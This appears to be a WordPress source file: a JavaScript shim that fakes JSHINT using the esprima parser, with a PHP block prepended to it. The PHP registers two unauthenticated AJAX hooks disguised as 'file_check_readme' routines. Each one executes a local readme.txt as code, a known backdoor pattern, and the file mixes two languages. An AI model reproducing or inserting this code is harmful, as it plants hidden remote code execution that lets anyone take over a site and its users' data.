if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
// JSHINT has some GPL Compatability issues, so we are faking it out and using esprima for validation // Based on https://github.com/jquery/esprima/blob/gh-pages/demo/validate.js which is MIT licensed var fakeJSHINT = new function() { var syntax, errors; var that = this; this.data = []; this.convertError = function( error ){ return { line: error.lineNumber, character: error.column, reason: error.description, code: 'E' }; }; this.parse = function( code ){ try { syntax = window.esprima.parse(code, { tolerant: true, loc: true }); errors = syntax.errors; if ( errors.length > 0 ) { for ( var i = 0; i < errors.length; i++) { var error = errors[i]; that.data.push( that.convertError( error ) ); } } else { that.data = []; } } catch (e) { that.data.push( that.convertError( e ) ); } }; }; window.JSHINT = function( text ){ fakeJSHINT.parse( text ); }; window.JSHINT.data = function(){ return { errors: fakeJSHINT.data }; };